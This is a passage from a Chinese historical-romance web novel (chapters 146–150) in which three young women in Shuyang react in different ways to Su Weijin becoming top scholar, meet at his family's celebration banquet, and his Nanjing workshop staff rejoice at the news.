清晰无比地投射到了他超频大脑的信息处理库中,
只待一个合适的时机,
便会迎来一场彻彻底底、
大快人心的清算。
小人的猖狂,
往往是为自己敲响的丧钟。
苏家这两条祸害,
此刻蹦跶得越欢,
日后摔得,只会越惨。
第146章 文萱欣喜,芳心暗许
时辰倒回数日,
彼时八百里加急的捷报尚在驿道上烟尘滚滚,
一封来自北京城的私人信函,
却借着漕运的便利,
悄无声息地先一步递到了沭阳县学教谕赵明远的手中。
送信的是赵明远一位在国子监任博士的同年,
信使言明是“喜信”,需亲手交付。
赵明远心中微讶,
接过那封火漆密实的信,
回到书房方才拆开。
目光扫过信笺上那熟悉的馆阁体,
赵明远起初尚显平静,
但随着字句映入眼帘,
他持信的手竟微微颤抖起来。
脸上的讶异逐渐被难以置信的狂喜所取代,
呼吸也渐渐急促。
他看到最后,竟猛地从太师椅上站起,
因动作太急,带得桌上的青瓷笔洗都晃了一晃。
“好!好!好!”
一连三个“好”字,
一声比一声洪亮,
充满了难以言喻的激动与欣慰。
他忍不住在书房内踱起步来,
抚掌大笑:
“哈哈哈哈哈!状元!
**!连中六元!
千古佳话!竟出自我沭阳县学!
吾赵明远何其幸也!”
笑声惊动了窗外枝头的雀鸟,
也隐隐传到了隔壁的绣楼。
赵文萱正临窗**字,
笔下是一篇簪花小楷,
摹的是卫夫人的《笔阵图》。
闻得父亲书房传来异乎寻常的动静,
她纤纤玉指一顿,
一滴墨汁险些晕染了宣纸。
她微微侧耳,
父亲那压抑不住的喜悦笑声断续传来,
虽听不真切具体言语,但那情绪却做不得假。
她心中好奇,是何等喜事,
能让一向注重仪轨、
沉稳持重的父亲如此失态?
正思忖间,丫鬟轻叩房门,声音里也带着雀跃:
“小姐,老爷请您过去一趟,
说是有天大的喜事!”
赵文萱心下更奇,
搁下笔,理了理云鬓衣裙,
款步向父亲书房走去。
一进书房,便见父亲赵明远满面红光,
在书案前负手而立,
嘴角的笑意压都压不住,
见女儿进来,
竟有些迫不及待地将手中那封信递了过去:
“文萱,我儿,快来看!
看看这是何等旷古烁今的喜讯!”
赵文萱带着几分疑惑接过信笺,
目光落在那清隽的字迹上。
当她看到“嘉靖二年癸未科殿试一甲第一名状元及第”、
“苏惟瑾”、“连中六元”、
“钦点翰林院修撰”等字眼时,
只觉得脑中“嗡”的一声,
仿佛有绚烂的烟花骤然炸开,
眼前竟有片刻的空白。
心跳,毫无预兆地漏跳了一拍,
随即如似被惊扰的鹿群,
开始疯狂地、毫无章法地撞击着她的胸腔。
竟然…是他?
真的是他!
状元!**!翰林修撰!
一个个耀眼夺目的头衔,
如同最璀璨的星辰,
骤然加诸在那个清瘦而坚韧的少年身上。
那个曾在诗会上被众人质疑、
却以“风霜其奈何?”惊艳四座的少年;
那个在自家书房与父亲对答、
言谈间自有沟壑星辰的少年;
那个出身寒微、却凭一己之力一步步挣破樊笼的少年…
印象中那张尚带几分青涩却目光沉静的面容,
与信纸上这些金光闪闪的称谓艰难地重叠在一起,
化作一种极其强烈的、
近乎不真实的冲击力,
让她一时竟怔在了原地,忘了呼吸。
“如何?为父早便说过,
此子非池中之物!
如今看来,还是为父眼界浅了,
这何止是非池中之物,
这分明是潜龙出渊,一飞冲天!”
赵明远兀自兴奋地踱步,
语气中充满了伯乐识得千里马的自得。
“连中六元啊!
我大明开国以来能有几人?
翰林修撰!这是真正的储相之姿!
前途不可限量!不可限量啊!”
赵文萱只觉得脸颊阵阵发烫,
那热度迅速蔓延至耳根颈后。
她下意识地垂下眼睫,
试图掩饰眸中翻涌的剧烈情绪,
可微微颤抖的指尖却暴露了她内心的波澜壮阔。
她努力想做出平静的样子,
可唇角那抑制不住向上弯起的弧度,
却如同春风拂过初绽的花蕊,
甜美得惊心动魄。
“父亲…所言极是。”
她声音微涩,
带着一丝不易察觉的轻颤。
“苏…苏公子大才,
实乃…实乃吾沭阳之荣光。”
她匆匆将信笺递还给父亲,
福了一礼:
“女儿…女儿房中还有些功课未完,
先行告退。”
说完,几乎是有些慌乱地转身,
脚步比平日急促了些许,
裙裾翩跹,宛如一只被惊动的蝶,
迅速离开了书房。
赵明远正沉浸在喜悦中,
并未察觉女儿的异样,
只当她是少女羞怯,笑着摇了摇头,
重又拿起那封信,反复摩挲观看,越看越是欢喜。
赵文萱回到自己的闺房
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反手轻轻合上门扉,
背靠着冰凉的门板,
方才敢让那汹涌的心潮彻底决堤。
她抬手按在自己心口,
那里跳得如同擂鼓,
一声声,清晰而猛烈,撞击着她的掌心。
脑海中,尽是那个名字,
那个身影,以及与之相关的所有细微记忆。
雪中送炭的微末温情,
终究在她心底酿成了最醇厚的酒。
此刻闻此惊世骇俗的喜讯,
酒香骤然迸发,醉了她整颗芳心。
她在书案前坐下,
铺开一张崭新的玉版宣,研磨徽墨。
纤纤素手执起紫毫笔,
却悬在半空,久久未落。
半晌,笔尖悄然落下,
并非预想的诗词文章,
而是不由自主地、
一遍又一遍,极其工整又极其专注地,
写下三个字——
苏惟瑾。
每一笔,每一划,
都分明带着温度,
烙在雪白的纸笺上。
写了一遍,又一遍。
字迹从最初的工稳,
到后来的略带行书笔意,
流畅而舒展,带着她的心绪也随之飞扬。
写满了半张纸,她忽又换了一支稍细的笔,
在那名字旁,添上四个稍小的楷字:
状元及第。
看着并排的七个字,
她脸颊绯红愈盛,眸中光晕流转,
似有水色潋滟,
最终化作一抹极甜、极深、
极温柔的笑意,在她唇角盈盈漾开。
她知道,自己从未看错人。
那份始于欣赏,源于才华,
合于品性的朦胧情愫,
在此刻,被这惊天捷报镀上了最耀眼的光华,
变得无比真切、无比强烈,
好似春日破土的嫩芽,
瞬间茁壮成荫。
她小心地提起那张写满他名字和功业的宣纸,
轻轻吹干墨迹,看了又看,
最终却并未收起,而是移至烛火旁,
看着那载满她少女心事的纸笺,
缓缓被火焰舔舐,
化作翩跹黑蝶,散于空气中。
有些心事,只需自己知晓,便已足够甜蜜。
而那份为他而生的自豪与欣喜,
却已深深镌刻心底,再难磨灭。
窗外,似乎隐约传来了远处街市上开始逐渐汇聚的喧闹声
——那迟到的官方捷报,想必已然入城。
赵文萱端坐镜前,对镜理妆,
镜中人眉眼含春,唇角噙笑。
她知道,从今日起,沭阳的天,变了。
而她那颗悄然暗许的芳心,
也于此尘埃落定,有了明确的方向。
第147章 雪茹欢腾,
沭阳城西街的喧嚣
如同投入水面的巨石,
涟漪一圈圈扩散,
最终也撞响了城东卫所演武场沉闷的空气。
王雪茹正将一杆白蜡杆**使得泼水不进,
枪尖寒星点点,裹着她火红的身影,
在这满是尘土和汗腥气的场地上,
犹如一朵灼灼盛放的霸王花。
几个年轻兵卒在不远处抡石锁,
眼神却时不时偷瞄过来,既羡且畏。
突然,一阵不同寻常的喧哗声从卫所外墙隐隐透来,
间或夹杂着“状元”、“苏惟瑾”、“连中六元”等零星字眼。
王雪茹枪势一缓,侧耳细听,柳眉微蹙。
一个刚从外面换岗回来的小旗官,
按捺不住满脸的兴奋,
小跑着冲进演武场,
还没站稳就嚷嚷开了:
“了不得了!兄弟们!
出大事了!咱们沭阳!
出了个文曲星君下凡了!”
“吵什么吵!军纪何在!”
教头模样的汉子呵斥道,
但脸上也带着好奇。
小旗官喘着粗气,手舞足蹈:
“是真的!西街苏家那个苏惟瑾!
中了状元!
京城皇榜贴出来了!
连中六元!**!
我的娘诶,八百里加急的喜报刚进县衙!”
“嗡!”
场子里顿时炸了锅。
兵卒们哪还顾得上操练,
全都围了过来,
七嘴八舌地惊呼、质疑、感叹。
“苏惟瑾?就那个以前张家的书童?”
“连中六元?这得是多大的文曲星啊!”
“乖乖,咱们这破地方也能出状元公?”
王雪茹早已停了动作,
**顿在地上,那双总是明亮锐利的杏眼,
此刻瞪得溜圆,里面清晰无误地倒映出惊愕,
随即这惊愕似如被点燃的**,
瞬间转化为无法无天的狂喜!
“中了?!真中了?!
还是状元?!头名状元?!”
她猛地扔掉**,
那枪杆砸在地上发出“哐当”一声脆响,
她却浑然不觉,一把揪住那小旗官的领子,
力道大得差点把对方提起来。
“你没听错?真是苏惟瑾?状元?!”
小旗官被她吓得一哆嗦,连连点头:
“千真万确!小姐!
满大街都传遍了!
报喜的官差还在喊呢!”
“哈哈!哈哈哈!”
王雪茹松开他,竟原地蹦了一下,
毫无淑女风范地放声大笑,
笑声清脆爽朗,
压过了全场的嘈杂。
“好!好样的!苏惟瑾!
书呆子真有你的!状元!哈哈!”
她兴奋得脸颊绯红,
眼眸亮得惊人,
仿佛中状元、披红游街的是她自己一般。
她猛地一握拳,
转身就像一阵红色的旋风般朝着卫所正堂冲去,
留下身后一群面面相觑、哭笑不得的兵卒。
“爹!爹!”
人未到,声先至。
王雪茹一阵风似的卷进百户所正堂,
连通报都省了。
王百户正对着本兵册发愁,
闻声抬头,就见自家闺女像只炸了**的雀儿般冲到案前,
双手“啪”一声按在桌面上,
身子前倾,激动地语无伦次:
“爹!您听到了吗?
中了!中了!
状元!苏惟瑾!是状元!
连中六元!**!
我就说他行!我就知道他肯定行!
您看!我没说错吧!”
她连珠炮似的说完,
胸脯还因为激动而微微起伏,
脸上洋溢着毫不掩饰的骄傲与兴奋,
那架势,俨然似苏惟瑾的状元功勋有她一大半功劳。
王百户被这突如其来的消息和女儿的热情冲得一懵,
愣了片刻才反应过来,
古铜色的脸上也慢慢绽开惊讶又欣慰的笑容:
“哦?竟有此事?
苏小子…当真如此了得?
连中六元?
这可是天大的文曲星啊!”
他虽是个粗豪的武官,
却也明白“状元”二字的分量,
尤其是这“连中六元”,
简直是听着都吓人。
“那还有假!满城都传遍了!”
王雪茹得意地一扬下巴,
宛似被夸奖的是自己,
随即她眼珠一转,
脸上兴奋之色更浓,
甚至带上了一丝跃跃欲试的狡黠。
“爹!京城肯定特别热闹吧?
状元跨马游街,琼林宴…
听说北京城的姑娘可比江南的泼辣大胆多了…”
她忽然顿了顿,不知想到了什么,
先前那副“兄弟伙”式的兴奋劲头稍稍收敛,
一抹极淡极罕见的、
属于小女儿的扭捏和担忧竟浮上眉眼间,
声音也低了几分,
带着点自己都未察觉的酸味和戒备:
“那书呆子…笨嘴拙舌的,
又是个老实性子,
该不会…该不会被京城那些眼高于顶的官家小姐,
或者…或者那些会唱曲儿、
会抛媚眼的狐狸精给迷花了眼吧?”
这话脱口而出,她自己也觉失言,
顿时脸颊腾地一下红透,
如同染了最艳的胭脂,
连忙欲盖弥彰地挺直腰板,
强作镇定地咳嗽一声,
眼神却飘忽着不敢看父亲,
兀自嘴硬:
“我…我是怕他丢了咱们沭阳人的脸!
对!就是这样!”
王百户是何等人物?
行伍出身,粗中有细,
尤其对自己这宝贝闺女的心思
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那是看得比谁都透。
他看着女儿那副罕见的娇羞模样,
先前大大咧咧喊着“书呆子”,
此刻却连名字都不好意思直呼,
又想到她平日对那苏小子的诸多维护和不同寻常的关注,
心中顿时如明镜一般。
他脸上笑容未变,
心底却悠悠叹了口气,五味杂陈。
既是欣慰女儿眼光独到,
早早看出那少年的不凡(虽则当初谁也没想到能不凡到这般地步),
又有些老父亲特有的酸涩
——自家水灵灵的小白菜,
怕是迟早要被那文曲星给拱了去喽!
他端起桌上的粗瓷茶碗喝了一口,
掩去眼底复杂的神色,
故作轻松地哈哈一笑:
“你这丫头,净瞎操心!
苏小子…哦不,
苏状元那是何等人物?
心志坚定着呢!
岂是那般容易就被迷了眼的?
再说了,京城再繁华,
还能有咱沭阳的实在?”
他顿了顿,看着女儿依旧泛红的脸颊和闪烁的眼神,
心中那点酸涩又化为了淡淡的感慨,
语气放缓了些,
带着一丝不易察觉的试探:
“不过…你若真想去京城见识见识,
等爹得空了,倒也不是不能…”
“谁…谁想去京城了!”
王雪茹像被踩了尾巴的猫,
立刻打断父亲的话,
声音拔高,却更显心虚。
“我…我就是那么一说!
卫所里忙着呢!
我…我去练枪了!”
说罢,竟是再也待不住,
转身几乎是落荒而逃,
只是那脚步,似乎比来时更轻快了几分,
红色的身影消失在门口,
留下一串略显凌乱却活力十足的脚步声。
王百户看着女儿消失的方向,
无奈地摇头笑了笑,放下茶碗,
手指无意识地敲着桌面。
“状元公啊…”
他喃喃自语,目光望向窗外,
仿佛能穿透重重屋舍,
看到那遥远的帝都。
“小子,你可莫要负了这番…
赤诚之心才好。”
堂外,隐约又传来演武场上王雪茹更加虎虎生风的练枪呼喝声,
只是那声音里,
似乎比平日多了几分难以言喻的欢快和底气。
而王百户不知道的是,
他那位行动力极强的闺女,
此刻心里正飞快地盘算着:
是先去打听下去京城的路线和开销呢?
还是先想办法给那个“书呆子”寄封信警告他不许沾花惹草?
少女的心事,如同六月的天,
说变就变,却又如此鲜明而热烈,
在这满是阳刚之气的卫所里,
悄然荡漾开一抹别样的涟漪。
第148章 芸娘默默,祈福远方
沭阳城西街的喧嚣
似潮水般汹涌拍岸,
自然也漫过了城南那条僻静狭窄的巷弄,
涌入了“陈氏书坊”那低矮的门楣。
消息是隔壁杂货铺的胖婶,
挥舞着一条沾满油渍的抹布,
气喘吁吁地冲进来报的喜。
“芸娘!芸娘她娘!
了不得了!天大的喜事啊!”
胖婶的嗓门震得书架上的灰尘都簌簌往下掉。
“西街苏家那个小九…
哎哟瞧我这张嘴!
是苏状元!苏惟瑾苏老爷!
中了!状元!
京城里皇上亲点的头名状元!
连中六元!
咱们沭阳府几百年没出过的文曲星啊!”
铺子里,陈芸娘正踮着脚整理一摞旧书,
陈母在柜台后打着算盘对账,
里屋传来陈父压抑的咳嗽声。
这石破天惊的消息砸进来,
让原本安静得只余算盘声和咳嗽声的小书铺,瞬间凝固了。
陈母拨算盘的手指猛地僵在半空,
眼睛瞪得溜圆,嘴巴微张,
好似没听清,又宛如被这过于骇人的消息震得失了魂。
里屋的咳嗽声也戛然而止,
片刻后,是陈伯康更加急促、
带着惊疑的嘶哑声音:
“她…她婶子…
你,你说什么?
谁?中状元了?”
“苏惟瑾!
就是常来看你们家那个苏童生、
苏解元!如今是状元公啦!
翰林院的老爷了!”
胖婶拍着大腿,唾沫横飞,
与有荣焉,俨然似中状元的是她家亲戚。
“满大街都传遍了!
报喜的官差锣鼓敲得震天响!
你们没听见?”
陈母这才猛地回过神来,
算盘“哗啦”一声掉在柜台上,
珠子散落一地。
她却顾不上去捡,双手捂住嘴,
眼眶瞬间就红了,
声音带着颤抖:
“真…真的?
老天爷…真是…真是那孩子?
状元?”
她猛地转身看向里屋方向,
眼泪已经滚落下来,
又是笑又是哭:
“她爹!你听见了吗?是苏相公!
中了状元了!老天开眼!
真是老天开眼啊!”
里屋沉默了更长的时间,
只能听到陈伯康粗重而急促的呼吸声。
良久,才传来他带着无尽感慨和一丝哽咽的叹息,
那叹息里充满了难以置信的欣慰:
“…状元…连中六元…
瑾鹏程**,终非池中之物…
吾…吾早知之…
咳咳…咳咳咳…”
剧烈的咳嗽打断了他的话,
但那语气中的激动与自豪,却清晰可辨。
而站在书架旁的陈芸娘,
从听到那个名字和“状元”二字连在一起时,
便如同被施了定身法,整个人都僵住了。
她手中那本薄薄的《千家诗》脱手滑落,
“啪”地一声轻响掉在地上,
她却浑然不觉。
只是呆呆地站着,
一双秋水般的眸子睁得极大,
里面清晰地倒映出震惊、狂喜、茫然…
以及一丝迅速弥漫开来的、
微不可察的黯淡。
心跳得厉害,像是要挣脱胸腔的束缚。
一股巨大的、为她心心念念的那个人感到的骄傲和喜悦,
如同暖流瞬间涌遍全身,
让她指尖都在微微发麻。
可随之而来的,是一种无法言喻的距离感。
状元…翰林院修撰…
那是戏文里才会出现的人物,
是云端之上的星辰。
而自己…只是这沭阳城南小巷里,
一个守着破败书铺、
日夜为柴米油盐发愁的平凡女子。
他如今站得那样高,
高到她即便踮起脚尖,
仰酸了脖颈,也再也望不见他的衣角了。
那曾经因为他中秀才、
中举人而悄悄缩短的一点点距离,
在此刻,被这“状元”的金字招牌,
瞬间拉成了一道她穷尽一生也无法跨越的天堑。
胖婶还在兴奋地喋喋不休,
描述着街面上的热闹和苏家的风光。
陈母已经激动得不知如何是好,
只会反复念叨“菩萨保佑”,
又忙不迭地想要找些东西出来,
似乎想去道贺,却又自知身份悬殊,
手足无措。
陈芸娘默默地弯腰,
捡起掉在地上的《千家诗》,
轻轻拂去封面的灰尘。
她没有加入母亲和胖婶的交谈,
只是低垂着眼睫,
将书小心地放回书架原位,
动作轻缓得近乎虔诚。
然后,她低声对母亲说:
“娘,我…我回屋一下。”
声音轻飘飘的,带着一丝不易察觉的沙哑。
陈母正沉浸在巨大的惊喜和忙乱中,
并未留意女儿的异常,
只胡乱点了点头。
芸娘转身,掀开那道隔开前后院的旧布帘,
走进了自家狭小却收拾得干干净净的天井。
她没有停留,径直回到了自己那间仅容一床一桌一椅的简陋闺房。
关上房门,外间的喧闹和议论声便被隔开了些许。
她背靠着门板,缓缓吁出一口气,
这才允许那份复杂的情绪完全流露在脸上。
她是真的为他高兴,
高兴得心尖都在发颤。
可那高兴里,掺着细细密密的、
针扎似的酸楚和自卑。
她在床边坐下,静默了许久,
才像是下了很大决心般,
俯身从床底拉出一个陈旧但擦拭得很干净的小木匣。
打开匣子,里面并无甚贵重物品,
只有几样女孩家的小物件,
而最底下,被一
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方洗得发白的手帕精心包裹着的,
是一支半旧的毛笔。
笔杆是普通的竹制,
笔毫也已磨损了不少,
显得朴素甚至有些寒酸。
但这却是苏惟瑾当初离开沭阳去金陵前,
特意来辞行时送给她的。
那时他说:
“芸娘,你字写得清秀,
这支笔我用了许久,
颇顺手,留给你写字用。”
她一直珍藏着,舍不得用。
此刻,她将笔小心翼翼地捧在手心,
看了又看,指尖轻轻抚过笔杆上那细微的、
被他握出来的痕迹,
仿佛还能感受到一丝残留的温度。
眼泪终于忍不住,大颗大颗地滚落下来,
砸在手背上,温热一片。
不是悲伤,而是某种难以名状的、
混合着极致喜悦和深切无奈的情绪宣泄。
她哭了片刻,又慌忙用袖子擦干眼泪,
生怕泪水玷污了这珍贵的礼物。
将笔紧紧捂在胸口,
她走到窗前。
窗外是小片灰蒙的天空,
但她仿佛能透过这方寸之地,
看到那遥远不可及的京城。
他此刻,定然在享受万众瞩目的荣光吧?
跨马游街,琼林赐宴,
结交的都是公卿王侯…
他还会记得沭阳城南巷子里,
这个曾给过他几张饼子的芸娘吗?
这个念头让她心口微微一缩。
她用力摇摇头,
仿似要甩开这不该有的奢望和自怜。
她闭上眼,双手合十,
将那支笔虔诚地握在掌心,
抵在额前,如同最虔诚的信徒向神佛祈祷。
惟瑾哥哥,愿你前程似锦,
官运亨通,在京城一切安好,无病无灾…
她在心中一遍遍默念,
将所有不能宣之于口的倾慕、牵挂、祝福,
都融入了这无声的祈祷里。
良久,她睁开眼,眼神重新变得平静而坚韧。
她小心地将笔重新包好,放回木匣,藏于枕下。
然后,她推门而出,回到前面的书铺。
母亲还在和胖婶激动地议论着,
筹划着是否要凑份子送份贺礼。
芸娘没有说话,只是默默地拿起鸡毛掸子,
开始更加用力、更加仔细地清扫书架上的灰尘,
将那些本就摆放整齐的书籍重新归类整理,
动作轻柔而专注,看起来在进行某种神圣的仪式。
仿佛只有这样,
让自己沉浸在这些与他息息相关的笔墨书香里,
才能感觉离那个光芒万丈的身影,
稍稍近那么一点点。
她打理得不只是书铺,
更是自己那份无法言说、
却悄然生根的心事。
这份心事,无需他人知晓,
只需默默守护,
便已是她平凡生命里,
最璀璨的星芒。
第149章 三姝初会,心思各异
苏家那摆了七天七夜的流水席,
到了第三日上,非但未见颓势,
反而愈发喧腾。
七叔公苏正廉彻底豁出去了,
将族里能动的银钱、粮食乃至脸面,
都押在了这场光宗耀祖的庆典上。
院子里人声鼎沸,
划拳行令声、哄笑声、
杯盘碰撞声混杂着肉香酒气,直冲云霄。
苏有才和苏有德两兄弟,
这几日俨然成了席间的“风云人物”。
他们穿着那身愈发油腻的绸衫,
穿梭于各桌之间,
脸颊喝得通红发亮,嗓门比谁都大。
“李员外!满上满上!
我替我侄儿敬您一杯!
我家惟瑾啊,打小就看出不凡!
三岁能文,五岁能诗,
那都是我们兄弟启蒙得好!
哈哈哈!”
苏有才搂着一个乡绅的脖子,
喷着酒气吹嘘。
“张掌柜!您放心!
您家那批货被漕卡扣了的事,包在我身上!
等我给我那翰林侄儿去封信,
还不是一句话的事儿?”
苏有德拍着胸脯,唾沫星子横飞,
好似苏惟瑾的状元名帖就揣在他怀里,
随时可以盖章办事。
两人一唱一和,
将“状元公亲叔伯”的招牌打得震天响,
享受着周围那些或真心巴结、
或虚伪应酬的敬酒和奉承,
全然忘了自己当初的嘴脸,
更将七叔公的警告抛到了九霄云外。
就在这片喧嚣鼎沸之中,
两拨颇为引人注目的客人,
几乎同时抵达了苏家那略显局促的院门。
东边巷口,县学教谕赵明远一身半新的直裰,
带着几分读书人的清矜,缓步而来。
他身后半步,跟着女儿赵文萱。
赵文萱今日显然是精心打扮过,
穿着一身藕荷色绣缠枝玉兰的新衣,
衬得肌肤胜雪,身姿娉婷。
发间一支简单的珍珠簪,
耳坠两点小巧的银丁香,
淡雅而不失身份。
她微微垂着眼睫,步伐从容,
只是那紧抿的唇线和微微绷着的下颌,
泄露了她一丝不易察觉的紧张。
她是跟着父亲来正式道贺的,
于礼数上挑不出半点错处。
几乎同时,西边街口传来一阵清脆的马蹄声。
众人循声望去,只见王雪茹一身火红的骑射劲装,
骑着她那匹神骏的枣红马,
竟直接驰到了苏家院门外不远处才勒住缰绳。
她利落地翻身下马,
将马鞭随手扔给身后跟着的家丁,
动作飒爽,引得无数目光聚焦。
王百户穿着一身武官常服,
苦笑着跟在女儿身后,
显然对女儿这做派早已习惯又无奈。
王雪茹可不管那些,
她目光灼灼,脸上带着毫不掩饰的灿烂笑容,
大步流星就往院里走,
人未到声先至:
“七叔公!恭喜啊!
苏惟瑾给咱们沭阳长脸了!
今天非得好好喝一杯!”
这两拨风格迥异的客人同时出现,
瞬间吸引了全场的注意力。
喧闹的席面都为之一静。
赵文萱和王雪茹的目光,
在空中不期而遇。
赵文萱的视线落在王雪茹那身扎眼的红衣和毫不避讳的举止上,
黛眉几不可查地轻轻蹙了一下,
随即恢复平静,微微颔首,
算是打了招呼,仪态无可挑剔,
却自有一股疏离的清高。
王雪茹则上下打量了赵文萱一番,
见她那副端庄淑雅、一副不食人间烟火的模样,
嘴角几不可查地撇了一下,心中暗道:
“装模作样。”
但也大大方方地抱了抱拳,
算是回礼,笑容依旧灿烂,
却带着一丝不易察觉的挑衅。
两位少女,一个如空谷幽兰,静雅含蓄;
一个如盛夏骄阳,明媚张扬。
这短暂的视线交汇,虽无声无息,
却仿佛有“噼啪”的电火花在空气中闪过。
她们都从对方眼中看到了审视、比较,
以及一丝心照不宣的、因同一个远在京城的人而生的微妙敌意。
七叔公和赵明远、王百户寒暄起来,
两位少女便也各自跟着父亲,
被引往主桌附近安置。
就在众人落座,寒暄稍歇之际,
一个穿着水绿色新衣、梳着双丫髻的少女,
端着一个红漆托盘,
上面放着茶壶和几只干净的茶盏,
步履轻快却又带着几分恰到好处的稳重,走了过来。
正是苏惟瑾的妹妹,苏婉。
她如今在族中地位不同往日,
七叔公特意让她在一些重要场合露面,学着待人接物。
苏婉走到主桌旁,
先对七叔公和几位长辈乖巧地行了礼,
然后便拿起茶壶,准备为客人们斟茶。
她脸上带着浅浅的、得体的微笑,
目光首先落在了离她最近的赵文萱身上。
“赵小姐,请用茶。”
苏婉声音清脆,
动作小心地将一盏热气袅袅的清茶放在赵文萱面前的桌上。
赵文萱抬起眼帘,看向苏婉。
她认得这是苏惟瑾极为疼爱的亲妹,
目光不由得多停留了一瞬,
带着一丝不易察觉的审视,
但很快便化为一种合乎礼节的温和。
她微微欠身,唇角弯起一个优雅的弧度,声音柔婉:
“有劳苏姑娘。”
她伸出纤纤玉指,轻轻扶了扶茶盏,
姿态无可挑剔,既表达了谢意,
又保持着一种矜持的距离感,
仿佛一切只是遵循着标准的社交礼仪。
苏婉对她笑了笑,
觉得这位赵小姐果然如传闻中一般,
像画里走下来的人儿,好看是好看,
就是感觉隔着一层什么。
她转而走向另一侧的王雪茹。
“王姐姐,请喝茶。”
苏婉对王雪茹的称呼自然而然地亲近了些,
因为王雪茹的性格让她感觉更轻松。
王雪茹正觉得坐着有些无聊,
见苏婉过来,眼睛顿时一亮,
脸上立刻绽开一个大大的、毫无保留的笑容,
声音也亮了几分:
“哎!是婉儿妹妹啊!
快别忙活了,我自己来就行!”
说着,她竟真的伸手想去接苏婉手中的茶壶,
动作爽利,吓得苏婉赶紧侧身护住茶壶。
“王姐姐,使不得,让我来。”
王雪茹这才作罢,
看着苏婉给她斟茶,笑嘻嘻地说:
“婉儿妹妹真是越来越能干了!
你哥哥在京城要是知道你这么懂事,肯定高兴!”
她的目光在苏婉脸上转了一圈,
带着毫不掩饰的欣赏和亲近之意,
与面对赵文萱时的感觉截然不同。
苏婉被她说得有些不好意思,
脸颊微红,小声道:
“王姐姐过奖了。”
心中却对这位飒爽直率的王家姐姐好感倍增。
赵文萱将王雪茹对苏婉的过分“热络”看在眼里,
心中微哂,觉得有失体统;
王雪茹则觉得赵文萱那副端着的样子实在累得慌。
王雪茹性格外向,
很快便和席间一些相熟
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的武官家眷说笑起来,
声音清脆,不时爆发出爽朗的笑声。
赵文萱则安静地坐在父亲下首,
小口啜着苏婉刚倒的茶水,
偶尔与邻座一位乡绅小姐低声交谈两句,仪态万方。
而就在这喧嚣与华丽之外,
在那挤满了看热闹乡邻、
位置最靠院门的外围角落,
另一道纤细的身影正默默伫立着。
芸娘搀扶着身体稍愈但仍显虚弱的父亲陈伯康,
身边跟着一脸局促又激动的陈母。
他们带着一小篮自家做的、
显得格外寒酸的糯米糕,
想来表达一份心意。
可到了这门口,看到院内那般阵势,
陈母便怯了场,只敢远远站在人群最外围。
芸娘穿着一身洗得发白的浅青色衣裙,
头上身上并无半点装饰。
她扶着父亲,
目光却不由自主地投向了主桌附近那两个最耀眼的身影,
以及正在她们之间从容周旋的苏婉。
那一刻,芸娘只觉得自己的呼吸都窒了一下。
她们那样的人,
才配站在光芒万丈的状元郎身边吧?
一个知书达理,家学渊源;
一个英姿飒爽,家世不俗;
就连他妹妹,如今也这般落落大方。
而自己呢?
一股难以言喻的自卑和酸楚,
如同冰冷的潮水,瞬间淹没了她。
她下意识地往后缩了缩,
几乎想将自己藏进身后的人群阴影里去。
然而,仿似是某种奇妙的感应,
正小口饮茶的赵文萱,
目光无意间扫过院门方向,
恰好瞥见了人群边缘那抹怯生生的浅青色身影。
她的目光在芸娘身上停顿了极短的一瞬,认出了她。
那眼神平静无波,
似看一件无关紧要的摆设,
随即自然地移开,
继续与身旁的小姐低声浅笑,
仿佛什么都没看见。
但那微微扬起的下颌,
却无声地彰显着距离感。
几乎同时,正大声说笑的王雪茹也似乎感觉到了什么,
视线狐疑地扫了过去,
也看到了芸娘。
她的反应直接得多,
眉头立刻拧了起来,
眼神里带着毫不掩饰的诧异和一丝不耐烦,仿佛在说:
“她怎么也来了?”
她甚至下意识地扭开了头。
芸娘清晰地接收到了这两道目光。
赵文萱的无视比蔑视更让她难受,
王雪茹的直白嫌弃则像针一样扎人。
她的脸颊瞬间滚烫,血色褪尽,
慌忙低下头,再不敢向那边投去一眼。
三颗少女的心,
因同一个名字而牵动,
此刻同处一方天地,
却隔着巨大的鸿沟,
心思迥异,暗流涌动。
赵文萱心中微哂:
“商户之女,粗野不文。
那书铺丫头,怯懦上不得台面。
惟瑾君子,岂是此等女子可匹配?”
王雪茹则心想:“扭扭捏捏,看着就憋气!
还有那个赵小姐,装腔作势!”
而芸娘,心中只剩一片冰冷的自卑与绝望。
宴席仍在继续,热闹非凡。
但这热闹之下,无人留意到的角落,
一场无声的、关于远在京城的那个少年的心思交锋,已悄然完成。
直到宴席散场,芸娘都未曾再抬起头,
匆匆消失在了散去的人流之中。
而赵文萱和王雪茹,临上轿前,
目光再次短暂相遇,彼此微微颔首,
姿态无可指摘,却都从对方眼中看到了一丝清晰的、绝不服输的意味。
第150章 南京故人,反应各异
八百里加急的状元喜报,
胜如一声春雷,率先在帝都炸响,
其声浪却以更快的速度沿着运河、官道向南席卷,
不过数日功夫,便已撼动了南京城的六朝烟水。
消息最先抵达的,
是秦淮河畔那座日夜飘散着皂角清香的“玉衡工坊”。
彼时周大山正光着膀子,
吭哧吭哧地帮着工人将新出锅的皂块压模,
古铜色的腱子肉上汗水淋漓。
一个相熟的驿卒飞马冲到坊前,
人未下马便扯着嗓子吼:
“周爷!周爷!天大的喜事!
你家东家!苏惟瑾苏老爷!
中了!头名状元!
连中六元!皇榜第一啊!”
周大山手里的木槌“哐当”一声砸在脚面上,
他却浑然不觉痛,铜铃般的眼睛瞪得溜圆,
嘴巴张得能塞进一个鸡蛋。
愣了三息,他猛地发出一声震耳欲聋的狂吼,声震屋瓦:
“啥?!状元?!
俺东家中了状元?!
哈哈哈!俺就知道!俺就知道!”
他激动得原地蹦了三尺高,
一把抢过旁边伙计肩上搭的汗巾,
胡乱擦了把脸上的汗水和…隐约的泪花,
朝着工坊里所有愣住的人吼道:
“都听见没!俺东家!
苏惟瑾!是状元公了!
今儿个工钱加倍!
不!三倍!
放假一天!买酒买肉!
俺老周请客!不醉不归!”
整个工坊先是一静,
随即爆发出惊天动地的欢呼声!
工人们扔下手中的活计,
激动地互相捶打着、叫喊着,
与有荣焉。
苏惟元正核对物料清单,
闻讯手一抖,墨点滴污了纸页也顾不上,
只知道咧着嘴傻笑,
不住地喃喃:
“瑾哥儿…真中了…状元…”
苏惟率则飞快地掏出随身的小算盘,
噼里啪啦一顿猛打,眼睛越来越亮,
已经开始计算这“状元东家”的名头将来能带来多少溢价和订单了。
而真正反应最快的,
却是闻讯从账房里小跑出来的彭久亮。
他跑得急,瓜皮帽都歪了,
脸上是前所未有的红光,
一把抓住周大山的胳膊,
声音都在发颤:
“大山兄弟!当真?
